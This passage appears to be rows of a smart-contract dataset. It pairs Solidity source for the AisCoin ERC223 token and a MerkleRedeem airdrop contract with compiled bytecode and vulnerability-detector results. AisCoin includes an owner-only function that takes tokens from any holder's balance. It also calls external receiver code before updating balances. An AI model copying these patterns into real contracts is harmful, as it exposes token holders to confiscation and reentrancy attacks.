function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract AisCoin is ERC223Interface, Pausable {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze)
public
onlyOwner
{
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_value > 0 );
require(_value <= balances[msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint _value, bytes _data)
public
whenNotPaused
returns (bool)
{
require(_value > 0 );
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _addr)
private
view
returns (bool is_contract)
{
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function transferFrom(address _from, address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_value > 0 );
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[_from]);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
whenNotPaused
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount)
public
returns (bool seccess)
{
require(amount > 0);
require(addresses.length > 0);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
balances[addresses[i]] = balances[addresses[i]].add(amount);
emit Transfer(msg.sender, addresses[i], amount, empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint256[] amounts)
public returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0);
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
totalAmount = totalAmount.add(amounts[i]);
}
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (i = 0; i < addresses.length; i++) {
balances[addresses[i]] = balances[addresses[i]].add(amounts[i]);
emit Transfer(msg.sender, addresses[i], amounts[i], empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint256[] amounts)
public
onlyOwner
returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
uint256 totalAmount = 0;
bytes memory empty;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0);
require(addresses[j] != address(0));
require(!frozenAccount[addresses[j]]);
require(balances[addresses[j]] >= amounts[j]);
balances[addresses[j]] = balances[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j], empty);
}
balances[msg.sender] = balances[msg.sender].add(totalAmount);
return true;
}
} | 0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610137578063095ea7b3146101c157806318160ddd146101f957806323b872dd14610220578063313ce5671461024a5780633f4ba83a146102755780635c975abb1461028c57806366188463146102a157806370a08231146102c5578063715018a6146102e65780638456cb59146102fb5780638da5cb5b14610310578063945946251461034157806395d89b4114610398578063a9059cbb146103ad578063b414d4b6146103d1578063be45fd62146103f2578063d73dd6231461045b578063dd62ed3e1461047f578063dd924594146104a6578063e724529c14610534578063f0dc41711461055a578063f2fde38b146105e8575b600080fd5b34801561014357600080fd5b5061014c610609565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018657818101518382015260200161016e565b50505050905090810190601f1680156101b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cd57600080fd5b506101e5600160a060020a036004351660243561069e565b604080519115158252519081900360200190f35b34801561020557600080fd5b5061020e61071e565b60408051918252519081900360200190f35b34801561022c57600080fd5b506101e5600160a060020a0360043581169060243516604435610724565b34801561025657600080fd5b5061025f6108e5565b6040805160ff9092168252519081900360200190f35b34801561028157600080fd5b5061028a6108ee565b005b34801561029857600080fd5b506101e5610964565b3480156102ad57600080fd5b506101e5600160a060020a0360043516602435610974565b3480156102d157600080fd5b5061020e600160a060020a0360043516610a79565b3480156102f257600080fd5b5061028a610a94565b34801561030757600080fd5b5061028a610b00565b34801561031c57600080fd5b50610325610b7b565b60408051600160a060020a039092168252519081900360200190f35b34801561034d57600080fd5b50604080516020600480358082013583810280860185019096528085526101e5953695939460249493850192918291850190849080828437509497505093359450610b8a9350505050565b3480156103a457600080fd5b5061014c610def565b3480156103b957600080fd5b506101e5600160a060020a0360043516602435610e4d565b3480156103dd57600080fd5b506101e5600160a060020a0360043516610f75565b3480156103fe57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101e5948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f8a9650505050505050565b34801561046757600080fd5b506101e5600160a060020a036004351660243561121a565b34801561048b57600080fd5b5061020e600160a060020a03600435811690602435166112c5565b3480156104b257600080fd5b50604080516020600480358082013583810280860185019096528085526101e595369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506112f09650505050505050565b34801561054057600080fd5b5061028a600160a060020a03600435166024351515611576565b34801561056657600080fd5b50604080516020600480358082013583810280860185019096528085526101e595369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506115f19650505050505050565b3480156105f457600080fd5b5061028a600160a060020a03600435166118c7565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b6000805460a060020a900460ff16156106b657600080fd5b336000818152600660209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60045490565b6000805460a060020a900460ff161561073c57600080fd5b6000821161074957600080fd5b600160a060020a03841660009081526005602052604090205482111561076e57600080fd5b600160a060020a038416600090815260066020908152604080832033845290915290205482111561079e57600080fd5b600160a060020a03831660009081526007602052604090205460ff16156107c457600080fd5b600160a060020a03841660009081526007602052604090205460ff16156107ea57600080fd5b600160a060020a03841660009081526005602052604090205461080d90836118ea565b600160a060020a03808616600090815260056020526040808220939093559085168152205461083c90836118fc565b600160a060020a03808516600090815260056020908152604080832094909455918716815260068252828120338252909152205461087a90836118ea565b600160a060020a03808616600081815260066020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60035460ff1690565b600054600160a060020a0316331461090557600080fd5b60005460a060020a900460ff16151561091d57600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60005460a060020a900460ff1681565b60008054819060a060020a900460ff161561098e57600080fd5b50336000908152600660209081526040808320600160a060020a0387168452909152902054808311156109e457336000908152600660209081526040808320600160a060020a0388168452909152812055610a13565b6109ee81846118ea565b336000908152600660209081526040808320600160a060020a03891684529091529020555b336000818152600660209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526005602052604090205490565b600054600160a060020a03163314610aab57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a03163314610b1757600080fd5b60005460a060020a900460ff1615610b2e57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b600080606081808511610b9c57600080fd5b8551600010610baa57600080fd5b3360009081526007602052604090205460ff1615610bc757600080fd5b8551610bda90869063ffffffff61190916565b33600090815260056020526040902054909350831115610bf957600080fd5b5060005b8551811015610db3578551600090879083908110610c1757fe5b60209081029091010151600160a060020a03161415610c3557600080fd5b600760008783815181101515610c4757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff1615610c7757600080fd5b610cbc85600560008985815181101515610c8d57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6118fc16565b600560008884815181101515610cce57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558551869082908110610cff57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206119b883398151915287856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d70578181015183820152602001610d58565b50505050905090810190601f168015610d9d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600101610bfd565b33600090815260056020526040902054610dd3908463ffffffff6118ea16565b3360009081526005602052604090205550600195945050505050565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156106945780601f1061066957610100808354040283529160200191610694565b6000805460a060020a900460ff1615610e6557600080fd5b60008211610e7257600080fd5b33600090815260056020526040902054821115610e8e57600080fd5b600160a060020a03831660009081526007602052604090205460ff1615610eb457600080fd5b3360009081526007602052604090205460ff1615610ed157600080fd5b33600090815260056020526040902054610eeb90836118ea565b3360009081526005602052604080822092909255600160a060020a03851681522054610f1790836118fc565b600160a060020a0384166000818152600560209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60076020526000908152604090205460ff1681565b60008054819060a060020a900460ff1615610fa457600080fd5b60008411610fb157600080fd5b600160a060020a03851660009081526007602052604090205460ff1615610fd757600080fd5b3360009081526007602052604090205460ff1615610ff457600080fd5b610ffd85611932565b156110f157506040517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018690526060604484019081528551606485015285518894600160a060020a0386169463c0ee0b8a9490938a938a9360840190602085019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b505050505b33600090815260056020526040902054611111908563ffffffff6118ea16565b3360009081526005602052604080822092909255600160a060020a03871681522054611143908563ffffffff6118fc16565b6005600087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a031633600160a060020a03166000805160206119b883398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111d45781810151838201526020016111bc565b50505050905090810190601f1680156112015780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b6000805460a060020a900460ff161561123257600080fd5b336000908152600660209081526040808320600160a060020a038716845290915290205461126090836118fc565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600080600060606000865111151561130757600080fd5b845186511461131557600080fd5b3360009081526007602052604090205460ff161561133257600080fd5b60009250600091505b855182101561140e576000858381518110151561135457fe5b602090810290910101511161136857600080fd5b855160009087908490811061137957fe5b60209081029091010151600160a060020a0316141561139757600080fd5b6007600087848151811015156113a957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16156113d957600080fd5b61140185838151811015156113ea57fe5b60209081029091010151849063ffffffff6118fc16565b925060019091019061133b565b3360009081526005602052604090205483111561142a57600080fd5b600091505b8551821015610db357611465858381518110151561144957fe5b90602001906020020151600560008986815181101515610c8d57fe5b60056000888581518110151561147757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205585518690839081106114a857fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206119b883398151915287858151811015156114e257fe5b90602001906020020151846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611530578181015183820152602001611518565b50505050905090810190601f16801561155d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a360019091019061142f565b600054600160a060020a0316331461158d57600080fd5b600160a060020a038216600081815260076020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b6000805481906060908290600160a060020a0316331461161057600080fd5b855160001061161e57600080fd5b845186511461162c57600080fd5b5060009150815b85518110156118a7576000858281518110151561164c57fe5b602090810290910101511161166057600080fd5b855160009087908390811061167157fe5b60209081029091010151600160a060020a0316141561168f57600080fd5b6007600087838151811015156116a157fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16156116d157600080fd5b84818151811015156116df57fe5b906020019060200201516005600088848151811015156116fb57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002054101561172957600080fd5b611785858281518110151561173a57fe5b9060200190602002015160056000898581518110151561175657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6118ea16565b60056000888481518110151561179757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584516117cc908690839081106113ea57fe5b925033600160a060020a031686828151811015156117e657fe5b90602001906020020151600160a060020a03166000805160206119b8833981519152878481518110151561181657fe5b90602001906020020151856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561186457818101518382015260200161184c565b50505050905090810190601f1680156118915780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600101611633565b33600090815260056020526040902054610dd3908463ffffffff6118fc16565b600054600160a060020a031633146118de57600080fd5b6118e78161193a565b50565b6000828211156118f657fe5b50900390565b8181018281101561071857fe5b600082151561191a57506000610718565b5081810281838281151561192a57fe5b041461071857fe5b6000903b1190565b600160a060020a038116151561194f57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a7230582001383f1615c5364c613279f2bb15b7895601178a97f256d38a549773d16420880029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,945 |
0x6d19b2bf3a36a61530909ae65445a906d98a2fa8 | pragma solidity 0.6.8;
pragma experimental ABIEncoderV2;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MerkleRedeem is Ownable {
IERC20 public token;
event Claimed(address _claimant, uint256 _balance);
// Recorded weeks
mapping(uint => bytes32) public weekMerkleRoots;
mapping(uint => mapping(address => bool)) public claimed;
constructor(
address _token
) public {
token = IERC20(_token);
}
function disburse(
address _liquidityProvider,
uint _balance
)
private
{
if (_balance > 0) {
emit Claimed(_liquidityProvider, _balance);
require(token.transfer(_liquidityProvider, _balance), "ERR_TRANSFER_FAILED");
}
}
function claimWeek(
address _liquidityProvider,
uint _week,
uint _claimedBalance,
bytes32[] memory _merkleProof
)
public
{
require(!claimed[_week][_liquidityProvider]);
require(verifyClaim(_liquidityProvider, _week, _claimedBalance, _merkleProof), 'Incorrect merkle proof');
claimed[_week][_liquidityProvider] = true;
disburse(_liquidityProvider, _claimedBalance);
}
struct Claim {
uint week;
uint balance;
bytes32[] merkleProof;
}
function claimWeeks(
address _liquidityProvider,
Claim[] memory claims
)
public
{
uint totalBalance = 0;
Claim memory claim ;
for(uint i = 0; i < claims.length; i++) {
claim = claims[i];
require(!claimed[claim.week][_liquidityProvider]);
require(verifyClaim(_liquidityProvider, claim.week, claim.balance, claim.merkleProof), 'Incorrect merkle proof');
totalBalance += claim.balance;
claimed[claim.week][_liquidityProvider] = true;
}
disburse(_liquidityProvider, totalBalance);
}
function claimStatus(
address _liquidityProvider,
uint _begin,
uint _end
)
external
view
returns (bool[] memory)
{
uint size = 1 + _end - _begin;
bool[] memory arr = new bool[](size);
for(uint i = 0; i < size; i++) {
arr[i] = claimed[_begin + i][_liquidityProvider];
}
return arr;
}
function merkleRoots(
uint _begin,
uint _end
)
external
view
returns (bytes32[] memory)
{
uint size = 1 + _end - _begin;
bytes32[] memory arr = new bytes32[](size);
for(uint i = 0; i < size; i++) {
arr[i] = weekMerkleRoots[_begin + i];
}
return arr;
}
function verifyClaim(
address _liquidityProvider,
uint _week,
uint _claimedBalance,
bytes32[] memory _merkleProof
)
public
view
returns (bool valid)
{
bytes32 leaf = keccak256(abi.encodePacked(_liquidityProvider, _claimedBalance));
return MerkleProof.verify(_merkleProof, weekMerkleRoots[_week], leaf);
}
function seedAllocations(
uint _week,
bytes32 _merkleRoot,
uint _totalAllocation
)
external
onlyOwner
{
require(weekMerkleRoots[_week] == bytes32(0), "cannot rewrite merkle root");
weekMerkleRoots[_week] = _merkleRoot;
require(token.transferFrom(msg.sender, address(this), _totalAllocation), "ERR_TRANSFER_FAILED");
}
}
| 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638da5cb5b116100715780638da5cb5b14610152578063c804c39a14610167578063dd8c9c9d1461017a578063eb0d07f51461019a578063f2fde38b146101ad578063fc0c546a146101c0576100b4565b8063120aa877146100b957806339436b00146100e257806347fb23c1146101025780634cd488ab1461012257806358b4e4b414610137578063715018a61461014a575b600080fd5b6100cc6100c7366004610b98565b6101c8565b6040516100d99190610d0f565b60405180910390f35b6100f56100f0366004610bef565b6101e8565b6040516100d99190610cd7565b610115610110366004610acd565b61027e565b6040516100d99190610c91565b610135610130366004610bc4565b610332565b005b610135610145366004610b00565b610455565b6101356104ea565b61015a610569565b6040516100d99190610c40565b610135610175366004610a2f565b610578565b61018d610188366004610b80565b610659565b6040516100d99190610d1a565b6100cc6101a8366004610b00565b61066b565b6101356101bb366004610a0d565b6106c1565b61015a610777565b600360209081526000928352604080842090915290825290205460ff1681565b6060828203600101818167ffffffffffffffff8111801561020857600080fd5b50604051908082528060200260200182016040528015610232578160200160208202803683370190505b50905060005b8281101561027357858101600090815260026020526040902054825183908390811061026057fe5b6020908102919091010152600101610238565b509150505b92915050565b6060828203600101818167ffffffffffffffff8111801561029e57600080fd5b506040519080825280602002602001820160405280156102c8578160200160208202803683370190505b50905060005b828110156103285785810160009081526003602090815260408083206001600160a01b038b168452909152902054825160ff9091169083908390811061031057fe5b911515602092830291909101909101526001016102ce565b5095945050505050565b61033a610786565b6000546001600160a01b039081169116146103705760405162461bcd60e51b815260040161036790610d99565b60405180910390fd5b6000838152600260205260409020541561039c5760405162461bcd60e51b815260040161036790610dfb565b6000838152600260205260409081902083905560015490516323b872dd60e01b81526001600160a01b03909116906323b872dd906103e290339030908690600401610c54565b602060405180830381600087803b1580156103fc57600080fd5b505af1158015610410573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104349190610b60565b6104505760405162461bcd60e51b815260040161036790610dce565b505050565b60008381526003602090815260408083206001600160a01b038816845290915290205460ff161561048557600080fd5b6104918484848461066b565b6104ad5760405162461bcd60e51b815260040161036790610d69565b60008381526003602090815260408083206001600160a01b03881684529091529020805460ff191660011790556104e4848361078a565b50505050565b6104f2610786565b6000546001600160a01b0390811691161461051f5760405162461bcd60e51b815260040161036790610d99565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600061058261090a565b60005b835181101561064e5783818151811061059a57fe5b602090810291909101810151805160009081526003835260408082206001600160a01b038a168352909352919091205490925060ff16156105da57600080fd5b6105f28583600001518460200151856040015161066b565b61060e5760405162461bcd60e51b815260040161036790610d69565b602080830151835160009081526003835260408082206001600160a01b038a16835290935291909120805460ff1916600190811790915593019201610585565b506104e4848361078a565b60026020526000908152604090205481565b6000808584604051602001610681929190610c10565b6040516020818303038152906040528051906020012090506106b78360026000888152602001908152602001600020548361086d565b9695505050505050565b6106c9610786565b6000546001600160a01b039081169116146106f65760405162461bcd60e51b815260040161036790610d99565b6001600160a01b03811661071c5760405162461bcd60e51b815260040161036790610d23565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b3390565b8015610869577fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a82826040516107c1929190610c78565b60405180910390a160015460405163a9059cbb60e01b81526001600160a01b039091169063a9059cbb906107fb9085908590600401610c78565b602060405180830381600087803b15801561081557600080fd5b505af1158015610829573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084d9190610b60565b6108695760405162461bcd60e51b815260040161036790610dce565b5050565b600081815b85518110156108ff57600086828151811061088957fe5b602002602001015190508083116108ca5782816040516020016108ad929190610c32565b6040516020818303038152906040528051906020012092506108f6565b80836040516020016108dd929190610c32565b6040516020818303038152906040528051906020012092505b50600101610872565b509092149392505050565b60405180606001604052806000815260200160008152602001606081525090565b80356001600160a01b038116811461027857600080fd5b600082601f830112610952578081fd5b813561096561096082610e59565b610e32565b81815291506020808301908481018184028601820187101561098657600080fd5b60005b848110156109a557813584529282019290820190600101610989565b505050505092915050565b6000606082840312156109c1578081fd5b6109cb6060610e32565b90508135815260208201356020820152604082013567ffffffffffffffff8111156109f557600080fd5b610a0184828501610942565b60408301525092915050565b600060208284031215610a1e578081fd5b610a28838361092b565b9392505050565b60008060408385031215610a41578081fd5b610a4b848461092b565b915060208084013567ffffffffffffffff811115610a67578283fd5b80850186601f820112610a78578384fd5b80359150610a8861096083610e59565b82815283810190828501865b85811015610abd57610aab8b8884358801016109b0565b84529286019290860190600101610a94565b5096999098509650505050505050565b600080600060608486031215610ae1578081fd5b610aeb858561092b565b95602085013595506040909401359392505050565b60008060008060808587031215610b15578081fd5b610b1f868661092b565b93506020850135925060408501359150606085013567ffffffffffffffff811115610b48